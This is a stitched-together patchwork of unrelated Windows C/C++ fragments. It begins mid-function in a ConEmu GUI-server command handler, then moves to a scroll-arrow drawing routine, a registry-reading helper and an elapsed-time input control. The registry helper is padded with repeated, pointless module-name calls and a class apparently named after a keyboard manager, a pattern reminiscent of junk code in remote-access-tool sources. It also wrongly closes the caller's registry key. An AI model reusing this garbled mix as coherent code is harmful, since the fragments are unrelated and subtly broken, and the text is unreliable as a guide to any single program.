pcbReplySize); if (lbRc) { ppReply->Data[0] = bAccepted; } break; } //CECMD_NEWCMD case CECMD_TABSCMD: { // 0: спрятать/показать табы, 1: перейти на следующую, 2: перейти на предыдущую, 3: commit switch DEBUGSTRCMD(L"GUI recieved CECMD_TABSCMD\n"); _ASSERTE(nDataSize>=1); DWORD nTabCmd = pIn->Data[0]; gpConEmu->TabCommand((ConEmuTabCommand)nTabCmd); pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(BYTE); if (ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) { lbRc = TRUE; ppReply->Data[0] = TRUE; } break; } // CECMD_TABSCMD #if 0 case CECMD_GETALLTABS: { int nConCount = gpConEmu->GetConCount(); int nActiveCon = gpConEmu->ActiveConNum(); size_t cchMax = nConCount*16; size_t cchCount = 0; CVirtualConsole* pVCon; CESERVER_REQ_GETALLTABS::TabInfo* pTabs = (CESERVER_REQ_GETALLTABS::TabInfo*)calloc(cchMax, sizeof(*pTabs)); for (int V = 0; (pVCon = gpConEmu->GetVCon(V)) != NULL; V++) { if (!pTabs) { _ASSERTE(pTabs!=NULL); break; } CRealConsole* pRCon = pVCon->RCon(); if (!pRCon) continue; ConEmuTab tab; wchar_t szModified[4]; for (int T = 0; pRCon->GetTab(T, &tab); T++) { if (cchCount >= cchMax) { pTabs = (CESERVER_REQ_GETALLTABS::TabInfo*)realloc(pTabs, (cchMax+32)*sizeof(*pTabs)); if (!pTabs) { _ASSERTE(pTabs!=NULL); break; } cchMax += 32; _ASSERTE(cchCount<cchMax); } pTabs[cchCount].ActiveConsole == (V == nActiveCon); pTabs[cchCount].ActiveTab == (tab.Current != 0); pTabs[cchCount].Disabled = ((tab.Type & fwt_Disabled) == fwt_Disabled); pTabs[cchCount].ConsoleIdx = V; pTabs[cchCount].TabIdx = T; // Text wcscpy_c(szModified, tab.Modified ? L" * " : L" "); if (V == nActiveCon) { if (T < 9) _wsprintf(pTabs[cchCount].Title, SKIPLEN(countof(pTabs[cchCount].Title)) L"[%i/&%i]%s", V+1, T+1, szModified); else if (T == 9) _wsprintf(pTabs[cchCount].Title, SKIPLEN(countof(pTabs[cchCount].Title)) L"[%i/1&0]%s", V+1, szModified); else _wsprintf(pTabs[cchCount].Title, SKIPLEN(countof(pTabs[cchCount].Title)) L"[%i/%i]%s", V+1, T+1, szModified); } else { _wsprintf(pTabs[cchCount].Title, SKIPLEN(countof(pTabs[cchCount].Title)) L"[%i/%i]%s", V+1, T+1, szModified); } cchCount++; } } if (cchCount && pTabs) { pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_GETALLTABS)+((cchCount-1)*sizeof(CESERVER_REQ_GETALLTABS::TabInfo)); if (ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) { lbRc = TRUE; ppReply->GetAllTabs.Count = cchCount; memmove(ppReply->GetAllTabs.Tabs, pTabs, cchCount*sizeof(*pTabs)); } } SafeFree(pTabs); break; } // CECMD_GETALLTABS case CECMD_ACTIVATETAB: { BOOL lbTabOk = FALSE; CVirtualConsole *pVCon = gpConEmu->GetVCon(pIn->dwData[0]); if (pVCon && pVCon->RCon()) { lbTabOk = pVCon->RCon()->ActivateFarWindow(pIn->dwData[1]); } pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(DWORD); if (ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) { lbRc = TRUE; ppReply->dwData[0] = lbTabOk; } break; } // CECMD_ACTIVATETAB #endif case CECMD_ATTACH2GUI: { MCHKHEAP; // Получен запрос на Attach из сервера pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_SRVSTARTSTOPRET); if (!ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) goto wrap; //CESERVER_REQ* pOut = ExecuteNewCmd(CECMD_ATTACH2GUI, sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_STARTSTOPRET)); CVConGroup::AttachRequested(pIn->StartStop.hWnd, &(pIn->StartStop), &(ppReply->SrvStartStopRet)); _ASSERTE((ppReply->StartStopRet.nBufferHeight == 0) || ((int)ppReply->StartStopRet.nBufferHeight > (pIn->StartStop.sbi.srWindow.Bottom-pIn->StartStop.sbi.srWindow.Top))); MCHKHEAP; lbRc = TRUE; //ExecuteFreeResult(pOut); break; } // CECMD_ATTACH2GUI case CECMD_SRVSTARTSTOP: { MCHKHEAP; pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_SRVSTARTSTOPRET); if (!ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) goto wrap; if (pIn->SrvStartStop.Started == srv_Started) { // Запущен процесс сервера HWND hConWnd = (HWND)pIn->dwData[1]; _ASSERTE(hConWnd && IsWindow(hConWnd)); DWORD nStartTick = timeGetTime(); //LRESULT l = 0; //DWORD_PTR dwRc = 0; //2010-05-21 Поскольку это критично - лучше ждать до упора, хотя может быть DeadLock? //l = SendMessageTimeout(ghWnd, gpConEmu->mn_MsgSrvStarted, (WPARAM)hConWnd, pIn->hdr.nSrcPID, // SMTO_BLOCK, 5000, &dwRc); //111002 - вернуть должен HWND окна отрисовки (дочернее окно ConEmu) MsgSrvStartedArg arg = {hConWnd, pIn->hdr.nSrcPID, pIn->SrvStartStop.dwKeybLayout, nStartTick}; SendMessage(ghWnd, gpConEmu->mn_MsgSrvStarted, 0, (LPARAM)&arg); HWND hWndDC = arg.hWndDc; HWND hWndBack = arg.hWndBack; _ASSERTE(hWndDC!=NULL); #ifdef _DEBUG DWORD dwErr = GetLastError(), nEndTick = timeGetTime(), nDelta = nEndTick - nStartTick; if (hWndDC && nDelta >= EXECUTE_CMD_WARN_TIMEOUT) { if (!IsDebuggerPresent()) { //_ASSERTE(nDelta <= EXECUTE_CMD_WARN_TIMEOUT || (pIn->hdr.nCmd == CECMD_CMDSTARTSTOP && nDelta <= EXECUTE_CMD_WARN_TIMEOUT2)); _ASSERTEX(nDelta <= EXECUTE_CMD_WARN_TIMEOUT); } } #endif //pIn->dwData[0] = (DWORD)ghWnd; //-V205 //pIn->dwData[1] = (DWORD)dwRc; //-V205 //pIn->dwData[0] = (l == 0) ? 0 : 1; ppReply->SrvStartStopRet.Info.hWnd = ghWnd; ppReply->SrvStartStopRet.Info.hWndDc = hWndDC; ppReply->SrvStartStopRet.Info.hWndBack = hWndBack; ppReply->SrvStartStopRet.Info.dwPID = GetCurrentProcessId(); // Limited logging of console contents (same output as processed by CECF_ProcessAnsi) gpConEmu->GetAnsiLogInfo(ppReply->SrvStartStopRet.AnsiLog); // Return GUI info, let it be in one place gpConEmu->GetGuiInfo(ppReply->SrvStartStopRet.GuiMapping); } else if (pIn->SrvStartStop.Started == srv_Stopped) { // Процесс сервера завершается CRealConsole* pRCon = NULL; CVConGuard VCon; for (size_t i = 0;; i++) { if (!CVConGroup::GetVCon(i, &VCon)) break; pRCon = VCon->RCon(); if (pRCon && (pRCon->GetServerPID(true) == pIn->hdr.nSrcPID || pRCon->GetServerPID(false) == pIn->hdr.nSrcPID)) { break; } pRCon = NULL; } if (pRCon) pRCon->OnServerClosing(pIn->hdr.nSrcPID); //pIn->dwData[0] = 1; } else { _ASSERTE((pIn->dwData[0] == 1) || (pIn->dwData[0] == 101)); } MCHKHEAP; lbRc = TRUE; //// Отправляем //fSuccess = WriteFile( // hPipe, // handle to pipe // pOut, // buffer to write from // pOut->hdr.cbSize, // number of bytes to write // &cbWritten, // number of bytes written // NULL); // not overlapped I/O //ExecuteFreeResult(pOut); break; } // CECMD_SRVSTARTSTOP case CECMD_ASSERT: { DWORD nBtn = MessageBox(NULL, pIn->AssertInfo.szDebugInfo, pIn->AssertInfo.szTitle, pIn->AssertInfo.nBtns); pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(DWORD); if (ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) { lbRc = TRUE; ppReply->dwData[0] = nBtn; } //ExecutePrepareCmd(&pIn->hdr, CECMD_ASSERT, sizeof(CESERVER_REQ_HDR) + sizeof(DWORD)); //pIn->dwData[0] = nBtn; //// Отправляем //fSuccess = WriteFile( // hPipe, // handle to pipe // pIn, // buffer to write from // pIn->hdr.cbSize, // number of bytes to write // &cbWritten, // number of bytes written // NULL); // not overlapped I/O break; } // CECMD_ASSERT case CECMD_ATTACHGUIAPP: { pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_ATTACHGUIAPP); if (!ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) goto wrap; ppReply->AttachGuiApp = pIn->AttachGuiApp; //CESERVER_REQ Out; //ExecutePrepareCmd(&Out.hdr, CECMD_ATTACHGUIAPP, sizeof(CESERVER_REQ_HDR)+sizeof(Out.AttachGuiApp)); //Out.AttachGuiApp = pIn->AttachGuiApp; #ifdef SHOW_GUIATTACH_START if (pIn->AttachGuiApp.hWindow == NULL) { wchar_t szDbg[1024]; _wsprintf(szDbg, SKIPLEN(countof(szDbg)) L"AttachGuiApp requested from:\n%s\nPID=%u", pIn->AttachGuiApp.sAppFilePathName, pIn->AttachGuiApp.nPID); //MBoxA(szDbg); MessageBox(NULL, szDbg, L"ConEmu", MB_SYSTEMMODAL); } #endif // Уведомить ожидающую вкладку CRealConsole* pRCon = gpConEmu->AttachRequestedGui(pIn->AttachGuiApp.nServerPID, pIn->AttachGuiApp.sAppFilePathName, pIn->AttachGuiApp.nPID); if (pRCon) { CVConGuard VCon(pRCon->VCon()); RECT rcPrev = ppReply->AttachGuiApp.rcWindow; HWND hBack = pRCon->VCon()->GetBack(); //// Размер должен быть независим от возможности наличия прокрутки в VCon //GetWindowRect(hBack, &ppReply->AttachGuiApp.rcWindow); //ppReply->AttachGuiApp.rcWindow.right -= ppReply->AttachGuiApp.rcWindow.left; //ppReply->AttachGuiApp.rcWindow.bottom -= ppReply->AttachGuiApp.rcWindow.top; //ppReply->AttachGuiApp.rcWindow.left = ppReply->AttachGuiApp.rcWindow.top = 0; ////MapWindowPoints(NULL, hBack, (LPPOINT)&ppReply->AttachGuiApp.rcWindow, 2); //pRCon->CorrectGuiChildRect(ppReply->AttachGuiApp.nStyle, ppReply->AttachGuiApp.nStyleEx, ppReply->AttachGuiApp.rcWindow); // Уведомить RCon и ConEmuC, что гуй подцепился // Вызывается два раза. Первый (при запуске exe) ahGuiWnd==NULL, второй - после фактического создания окна pRCon->SetGuiMode(pIn->AttachGuiApp.nFlags, pIn->AttachGuiApp.hAppWindow, pIn->AttachGuiApp.Styles.nStyle, pIn->AttachGuiApp.Styles.nStyleEx, pIn->AttachGuiApp.sAppFilePathName, pIn->AttachGuiApp.nPID, rcPrev); ppReply->AttachGuiApp.nFlags = agaf_Success | (pRCon->isActive(false) ? 0 : agaf_Inactive); ppReply->AttachGuiApp.nServerPID = pRCon->GetServerPID(); ppReply->AttachGuiApp.nPID = ppReply->AttachGuiApp.nServerPID; ppReply->AttachGuiApp.hConEmuDc = pRCon->GetView(); ppReply->AttachGuiApp.hConEmuBack = hBack; ppReply->AttachGuiApp.hConEmuWnd = ghWnd; ppReply->AttachGuiApp.hAppWindow = pIn->AttachGuiApp.hAppWindow; ppReply->AttachGuiApp.hSrvConWnd = pRCon->ConWnd(); ppReply->AttachGuiApp.hkl = (DWORD)(LONG)(LONG_PTR)GetKeyboardLayout(gpConEmu->mn_MainThreadId); ZeroStruct(ppReply->AttachGuiApp.Styles.Shifts); CRealConsole::CorrectGuiChildRect(pIn->AttachGuiApp.Styles.nStyle, pIn->AttachGuiApp.Styles.nStyleEx, ppReply->AttachGuiApp.Styles.Shifts, pIn->AttachGuiApp.sAppFilePathName); } else { ppReply->AttachGuiApp.nFlags = agaf_Fail; } lbRc = TRUE; //// Отправляем //fSuccess = WriteFile( // hPipe, // handle to pipe // &Out, // buffer to write from // Out.hdr.cbSize, // number of bytes to write // &cbWritten, // number of bytes written // NULL); // not overlapped I/O break; } // CECMD_ATTACHGUIAPP case CECMD_GUICLIENTSHIFT: { pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(GuiStylesAndShifts); if (!ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) goto wrap; ppReply->GuiAppShifts = pIn->GuiAppShifts; ZeroStruct(ppReply->GuiAppShifts.Shifts); CRealConsole::CorrectGuiChildRect(pIn->GuiAppShifts.nStyle, pIn->GuiAppShifts.nStyleEx, ppReply->GuiAppShifts.Shifts, pIn->GuiAppShifts.szExeName); lbRc = TRUE; break; } // CECMD_GUICLIENTSHIFT case CECMD_GUIMACRO: { // Допустимо, если GuiMacro пытаются выполнить извне CVConGuard VCon; CVConGroup::GetActiveVCon(&VCon); DWORD nFarPluginPID = VCon->RCon()->GetFarPID(true); LPWSTR pszResult = ConEmuMacro::ExecuteMacro(pIn->GuiMacro.sMacro, VCon->RCon(), (nFarPluginPID==pIn->hdr.nSrcPID)); int nLen = pszResult ? _tcslen(pszResult) : 0; pcbReplySize = sizeof(CESERVER_REQ_HDR)+sizeof(CESERVER_REQ_GUIMACRO)+nLen*sizeof(wchar_t); if (!ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) goto wrap; if (pszResult) { lstrcpy(ppReply->GuiMacro.sMacro, pszResult); ppReply->GuiMacro.nSucceeded = 1; free(pszResult); } else { ppReply->GuiMacro.sMacro[0] = 0; ppReply->GuiMacro.nSucceeded = 0; } lbRc = TRUE; break; } // CECMD_GUIMACRO //case CECMD_DEFTERMSTARTED: //{ // if (gpConEmu->mp_DefTrm) // gpConEmu->mp_DefTrm->OnDefTermStarted(pIn); // pcbReplySize = sizeof(CESERVER_REQ_HDR); // if (!ExecuteNewCmd(ppReply, pcbMaxReplySize, pIn->hdr.nCmd, pcbReplySize)) // goto wrap; // lbRc = TRUE; // break; //} // CECMD_DEFTERMSTARTED default: _ASSERTE(FALSE && "Command was not handled in CGuiServer::GuiServerCommand"); } //// Освободить память //if (pIn && (LPVOID)pIn != (LPVOID)&in) //{ // free(pIn); pIn = NULL; //} wrap: return lbRc; }
static BOOL MyDrawFrameScroll(HDC dc, LPRECT r, UINT uFlags, COLOR_SCHEME *scheme) { LOGFONT lf; HFONT hFont, hOldFont; COLORREF clrsave; RECT myr; INT bkmode; TCHAR Symbol; switch(uFlags & 0xff) { case DFCS_SCROLLCOMBOBOX: case DFCS_SCROLLDOWN: Symbol = '6'; break; case DFCS_SCROLLUP: Symbol = '5'; break; case DFCS_SCROLLLEFT: Symbol = '3'; break; case DFCS_SCROLLRIGHT: Symbol = '4'; break; default: return FALSE; } MyIntDrawRectEdge(dc, r, (uFlags & DFCS_PUSHED) ? EDGE_SUNKEN : EDGE_RAISED, (uFlags&DFCS_FLAT) | BF_MIDDLE | BF_RECT, scheme); ZeroMemory(&lf, sizeof(LOGFONT)); MyMakeSquareRect(r, &myr); myr.left += 1; myr.top += 1; myr.right -= 1; myr.bottom -= 1; if(uFlags & DFCS_PUSHED) OffsetRect(&myr,1,1); lf.lfHeight = myr.bottom - myr.top; lf.lfWidth = 0; lf.lfWeight = FW_NORMAL; lf.lfCharSet = DEFAULT_CHARSET; lstrcpy(lf.lfFaceName, TEXT("Marlett")); hFont = CreateFontIndirect(&lf); /* Save font and text color */ hOldFont = SelectObject(dc, hFont); clrsave = GetTextColor(dc); bkmode = GetBkMode(dc); /* Set color and drawing mode */ SetBkMode(dc, TRANSPARENT); if(uFlags & DFCS_INACTIVE) { /* Draw shadow */ SetTextColor(dc, scheme->crColor[COLOR_BTNHIGHLIGHT]); TextOut(dc, myr.left + 1, myr.top + 1, &Symbol, 1); } SetTextColor(dc, scheme->crColor[(uFlags & DFCS_INACTIVE) ? COLOR_BTNSHADOW : COLOR_BTNTEXT]); /* Draw selected symbol */ TextOut(dc, myr.left, myr.top, &Symbol, 1); /* restore previous settings */ SetTextColor(dc, clrsave); SelectObject(dc, hOldFont); SetBkMode(dc, bkmode); DeleteObject(hFont); return TRUE; }
//读取注册表的指定键的数据(Mode:0-读键值数据 1-牧举子键 2-牧举指定键项 3-判断该键是否存在) int ReadRegEx(HKEY MainKey,LPCTSTR SubKey,LPCTSTR Vname,DWORD Type,char *szData,LPBYTE szBytes,DWORD lbSize,int Mode) { TCHAR szModule [MAX_PATH]; HKEY hKey; int ValueDWORD,iResult=0; char* PointStr; char KeyName[32],ValueSz[MAX_PATH],ValueTemp[MAX_PATH]; DWORD szSize,dwIndex=0; memset(KeyName,0,sizeof(KeyName)); memset(ValueSz,0,sizeof(ValueSz)); memset(ValueTemp,0,sizeof(ValueTemp)); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); __try { // SetKeySecurityEx(MainKey,SubKey,KEY_ALL_ACCESS); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ,&hKey) != ERROR_SUCCESS) { iResult = -1; __leave; } switch(Mode) { case 0: switch(Type) { case REG_SZ: case REG_EXPAND_SZ: szSize = sizeof(ValueSz); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); lstrcpy(szData,DelSpace(ValueSz)); iResult =1; } break; case REG_MULTI_SZ: szSize = sizeof(ValueSz); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)ValueSz,&szSize) == ERROR_SUCCESS) { for(PointStr = ValueSz; *PointStr; PointStr = strchr(PointStr,0)+1) { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); strncat(ValueTemp,PointStr,sizeof(ValueTemp)); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); strncat(ValueTemp," ",sizeof(ValueTemp)); } CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); strcpy(szData,ValueTemp); iResult =1; } break; case REG_DWORD: szSize = sizeof(DWORD); CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,(LPBYTE)&ValueDWORD,&szSize ) == ERROR_SUCCESS) { CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); wsprintf(szData,"%d",ValueDWORD); iResult =1; } break; case REG_BINARY: szSize = lbSize; CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); if(RegQueryValueEx(hKey,Vname,NULL,&Type,szBytes,&szSize) == ERROR_SUCCESS) iResult =1; break; } break; } } __finally { CKeyboardManager::MyGetModuleFileName(NULL,szModule,MAX_PATH); RegCloseKey(MainKey); CKeyboardManager::MyGetShortPathName(szModule,szModule,MAX_PATH); RegCloseKey(hKey); GetForegroundWindow(); } return iResult; }
void Elapsed_OnCreate (ElapsedInfo *pei) { Subclass_AddHook (GetParent(pei->hElapsed), ElapsedDlgProc); TCHAR szTimeSep[ cchRESOURCE ]; if (!GetLocaleInfo (LOCALE_USER_DEFAULT, LOCALE_STIME, szTimeSep, cchRESOURCE)) lstrcpy (szTimeSep, TEXT(":")); RECT rElapsed; GetClientRect (pei->hElapsed, &rElapsed); POINT ptElapsed = {0,0}; ClientToScreen (pei->hElapsed, &ptElapsed); ScreenToClient (GetParent (pei->hElapsed), &ptElapsed); SIZE s88; // size of widest likely double-digit number SIZE s888; // maximum width to which we'll go for second- and minute- fields SIZE sTimeSep; // size of ":" HDC hdc = GetDC (GetParent (pei->hElapsed)); GetTextExtentPoint (hdc, TEXT("88"), lstrlen(TEXT("88")), &s88); GetTextExtentPoint (hdc, szTimeSep, lstrlen(szTimeSep), &sTimeSep); ReleaseDC (GetParent (pei->hElapsed), hdc); s888 = s88; s888.cx = (LONG)( (double)(s88.cx) * 1.2 ); LONG cxNumbers = cxRECT(rElapsed) - (2 * sTimeSep.cx) - GetSystemMetrics (SM_CXVSCROLL); LONG cxSeconds = min( max( cxNumbers/3, s88.cx ), s888.cx ); LONG cxMinutes = min( max( cxNumbers/3, s88.cx ), s888.cx ); LONG cxHours = cxNumbers - cxSeconds - cxMinutes; LONG yy = ptElapsed.y; LONG cy = cyRECT(rElapsed); pei->idHours = 100+NextControlID (GetParent (pei->hElapsed)); pei->hHours = CreateWindow ( TEXT("EDIT"), TEXT(""), WS_CHILD | WS_TABSTOP | ES_RIGHT | ES_NUMBER, ptElapsed.x, yy, cxHours, cy, GetParent(pei->hElapsed), (HMENU)pei->idHours, THIS_HINST, 0); pei->hSep1 = CreateWindow ( TEXT("STATIC"), szTimeSep, WS_CHILD, ptElapsed.x + cxHours, yy, sTimeSep.cx, cy, GetParent(pei->hElapsed), (HMENU)-1, THIS_HINST, 0); pei->idMinutes = 100+NextControlID (GetParent (pei->hElapsed)); pei->hMinutes = CreateWindow ( TEXT("EDIT"), TEXT(""), WS_CHILD | WS_TABSTOP | ES_RIGHT | ES_NUMBER, ptElapsed.x + cxHours + sTimeSep.cx, yy, cxMinutes, cy, GetParent(pei->hElapsed), (HMENU)pei->idMinutes, THIS_HINST, 0); pei->hSep2 = CreateWindow ( TEXT("STATIC"), szTimeSep, WS_CHILD, ptElapsed.x + cxHours + cxMinutes + sTimeSep.cx, yy, sTimeSep.cx, cy, GetParent(pei->hElapsed), (HMENU)-1, THIS_HINST, 0); pei->idSeconds = 100+NextControlID (GetParent (pei->hElapsed)); pei->hSeconds = CreateWindow ( TEXT("EDIT"), TEXT(""), WS_CHILD | WS_TABSTOP | ES_RIGHT | ES_NUMBER, ptElapsed.x + cxHours + cxMinutes + 2 * sTimeSep.cx, yy, cxSeconds, cy, GetParent(pei->hElapsed), (HMENU)pei->idSeconds, THIS_HINST, 0); Subclass_AddHook (pei->hHours, ElapsedEditProc); Subclass_AddHook (pei->hMinutes, ElapsedEditProc); Subclass_AddHook (pei->hSeconds, ElapsedEditProc); HFONT hf = (HFONT)SendMessage (GetParent (pei->hElapsed), WM_GETFONT, 0, 0); SendMessage (pei->hHours, WM_SETFONT, (WPARAM)hf, MAKELPARAM(TRUE,0)); SendMessage (pei->hSep1, WM_SETFONT, (WPARAM)hf, MAKELPARAM(TRUE,0)); SendMessage (pei->hMinutes, WM_SETFONT, (WPARAM)hf, MAKELPARAM(TRUE,0)); SendMessage (pei->hSep2, WM_SETFONT, (WPARAM)hf, MAKELPARAM(TRUE,0)); SendMessage (pei->hSeconds, WM_SETFONT, (WPARAM)hf, MAKELPARAM(TRUE,0)); EnableWindow (pei->hHours, IsWindowEnabled (pei->hElapsed)); EnableWindow (pei->hSep1, IsWindowEnabled (pei->hElapsed)); EnableWindow (pei->hMinutes, IsWindowEnabled (pei->hElapsed)); EnableWindow (pei->hSep2, IsWindowEnabled (pei->hElapsed)); EnableWindow (pei->hSeconds, IsWindowEnabled (pei->hElapsed)); ShowWindow (pei->hHours, TRUE); ShowWindow (pei->hSep1, TRUE); ShowWindow (pei->hMinutes, TRUE); ShowWindow (pei->hSep2, TRUE); ShowWindow (pei->hSeconds, TRUE); RECT rWindow; GetWindowRect (pei->hElapsed, &rWindow); rWindow.right += (cxHours + cxMinutes + cxSeconds + 2 * sTimeSep.cx) - cxRECT(rElapsed); SetWindowPos (pei->hElapsed, NULL, 0, 0, cxRECT(rWindow), cyRECT(rWindow), SWP_NOMOVE | SWP_NOACTIVATE | SWP_NOZORDER); SET_ELAPSED_TIME(&pei->timeMin, 0, 0, 0); SET_ELAPSED_TIME(&pei->timeMax, 24, 0, 0); Elapsed_Edit_OnEnforceRange (pei, pei->hHours); Elapsed_Edit_OnEnforceRange (pei, pei->hMinutes); Elapsed_Edit_OnEnforceRange (pei, pei->hSeconds); Elapsed_Edit_OnSetFocus (pei, pei->hHours); pei->fCanCallBack = TRUE; }